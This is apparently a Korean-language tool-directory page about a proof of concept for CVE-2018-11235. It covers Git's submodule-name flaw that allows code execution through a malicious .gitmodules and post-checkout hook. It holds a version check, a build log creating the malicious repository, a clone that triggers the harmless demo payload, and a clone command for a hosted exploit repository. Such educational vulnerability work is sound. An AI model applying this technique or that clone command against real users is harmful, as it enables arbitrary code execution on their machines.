Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-11235 — CVE-2018-11235(PoC && Exp) | Kitploit
도구/GitHubGitHub/anonymking/cve-2018-11235
Vulnerability AnalysisExploitationSupply Chain SecurityLearning & EducationBinary ExploitationLabs & Practice
GitHubanonymking/cve-2018-11235

CVE-2018-11235

CVE-2018-11235(PoC && Exp)

저장소 보기
17년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-11235

취약점 개요

  • 취약점 이름: Git 보안 취약점
  • CNNVD 번호: CNNVD-201805-1020
  • 위험 등급: 높음
  • CVE 번호: CVE-2018-11235
  • 취약점 유형: 보안 기능 문제
  • 게시 날짜: 2018-05-31
  • 위협 유형: 원격
  • 업데이트 날짜: 2019-04-01
  • 공급업체: git-scm
  • 취약점 출처:
  • 취약점 설명: Git은 미국의 소프트웨어 개발자 리누스 토르발스(Linus Torvalds)가 개발한 무료 오픈소스 분산 버전 관리 시스템입니다. Git에는 보안 취약점이 존재하며, 이 취약점은 서브모듈 이름을 $GIT_DIR/modules 디렉터리에 추가할 때 신뢰할 수 없는 .gitmodules 파일의 서브모듈 이름을 제대로 검증하지 않아 발생합니다. 원격 공격자는 특수하게 조작된 .gitmodules 파일을 이용해 이 취약점을 악용하여 임의 코드를 실행할 수 있습니다. 다음 버전이 영향을 받습니다: Git 2.13.7 이전 버전, 2.14.4 이전의 2.14.x 버전, 2.15.2 이전의 2.15.x 버전, 2.16.4 이전의 2.16.x 버전, 2.17.1 이전의 2.17.x 버전.
  • 영향을 받는 버전 (출처: 《Git 임의 코드 실행 취약점 탐지 및 수정(CVE-2018-11235)》):
root@kitploit:~
版本2.13.x,小于2.13.7则存在漏洞
版本2.14.x ,小于 2.14.4则存在漏洞
版本2.15.x,小于 2.15.2则存在漏洞
版本2.16.x,小于 2.16.4则存在漏洞
版本2.17.x,小于 2.17.1则存在漏洞
  • 자체 버전이 영향을 받는지 확인 (출처: 《Git 임의 코드 실행 취약점 탐지 및 수정(CVE-2018-11235)》):
root@kitploit:~
mkdir tmp && cd tmp
git init test && cd test && git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
  1. Initialized empty Git repository in /tmp/test/.git/ 메시지가 표시되면 취약점이 존재함을 의미합니다.
  2. 아래와 같은 메시지가 표시되면 해당 버전은 영향을 받지 않습니다.
root@kitploit:~
Initialized empty Git repository in /tmp/test/.git/
error: Invalid path '.gitmodules'
fatal: git update-index: --cacheinfo cannot add .gitmodules

취약점 재현

  • Github 보안 메커니즘상 악성 프로젝트를 업로드할 수 없으므로, build.sh 스크립트를 실행하여 이 프로젝트를 로컬에서 구성해 학습 및 테스트할 수 있습니다.
  • 이 프로젝트의 구현은 주로 CVE-2018-11235-DEMO와 CVE-2018-11235 두 프로젝트를 참고했습니다.
  • 제가 사용한 Git 버전은 git-2.12.1입니다.
  • 과정 및 결과는 다음과 같습니다:
root@kitploit:~
[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule/.git/
[master (root-commit) 9bb1fad] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/payload'...
done.
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/Submodule'...
done.
[master (root-commit) fcbf40f] CVE-2018-11235
 29 files changed, 560 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 Submodule
 create mode 100644 modules/1/2/3/4/payload/HEAD
 create mode 100644 modules/1/2/3/4/payload/config
 create mode 100644 modules/1/2/3/4/payload/description
 create mode 100755 modules/1/2/3/4/payload/hooks/applypatch-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/post-checkout
 create mode 100755 modules/1/2/3/4/payload/hooks/post-update.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-applypatch.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-commit.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-push.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-rebase.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-receive.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/prepare-commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/update.sample
 create mode 100644 modules/1/2/3/4/payload/index
 create mode 100644 modules/1/2/3/4/payload/info/exclude
 create mode 100644 modules/1/2/3/4/payload/logs/HEAD
 create mode 100644 modules/1/2/3/4/payload/logs/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/logs/refs/remotes/origin/HEAD
 create mode 100644 modules/1/2/3/4/payload/objects/0e/6d9b98b3face913a8ebf48f804d6c8fffba674
 create mode 100644 modules/1/2/3/4/payload/objects/9b/b1fad6c6e16340496f2cc0fec46c8159bfc693
 create mode 100644 modules/1/2/3/4/payload/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
 create mode 100644 modules/1/2/3/4/payload/packed-refs
 create mode 100644 modules/1/2/3/4/payload/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/refs/remotes/origin/HEAD
 create mode 120000 modules/payload
 create mode 160000 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" des_dir
[anonymking@localhost test]$ 
[anonymking@localhost test]$ 
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" test
Cloning into 'test'...
done.
Submodule 'Submodule' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'Submodule'
Submodule '../../modules/payload' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'payload'
Cloning into '/home/anonymking/Desktop/test/test/Submodule'...
done.
Submodule path 'Submodule': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Submodule path 'payload': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
  • 제가 payload에 넣은 악성 코드는 부처를 출력하는 것입니다. 따라서 부처가 보이면 테스트가 성공했음을 의미합니다.

참고 자료

  1. http://lkml.iu.edu/hypermail/linux/kernel/1805.3/05909.html
  2. https://www.anquanke.com/post/id/146909
  3. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  4. https://xz.aliyun.com/t/2371
  5. https://github.com/CHYbeta/CVE-2018-11235-DEMO
  6. https://atorralba.github.io/CVE-2018-11235/
  7. https://github.com/Rogdham/CVE-2018-11235

뜻밖의 발견

  • 저는 뜻밖에도 Coding에서 이 프로젝트를 성공적으로 구축했습니다. —— CVE-2018-11235
  • 사용 방법:
root@kitploit:~
git clone --recursive https://git.dev.tencent.com/anonymking/CVE-2018-11235.git test
도구 다운로드